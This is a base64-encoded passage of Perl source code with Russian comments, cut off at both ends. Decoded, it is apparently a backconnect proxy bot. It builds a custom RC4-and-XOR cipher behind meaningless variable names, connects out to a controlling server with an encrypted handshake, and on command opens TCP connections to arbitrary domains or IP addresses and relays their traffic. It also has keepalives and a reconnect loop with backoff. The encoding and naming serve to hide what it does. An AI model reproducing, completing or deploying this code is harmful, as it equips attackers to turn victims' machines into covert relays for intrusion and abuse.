0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
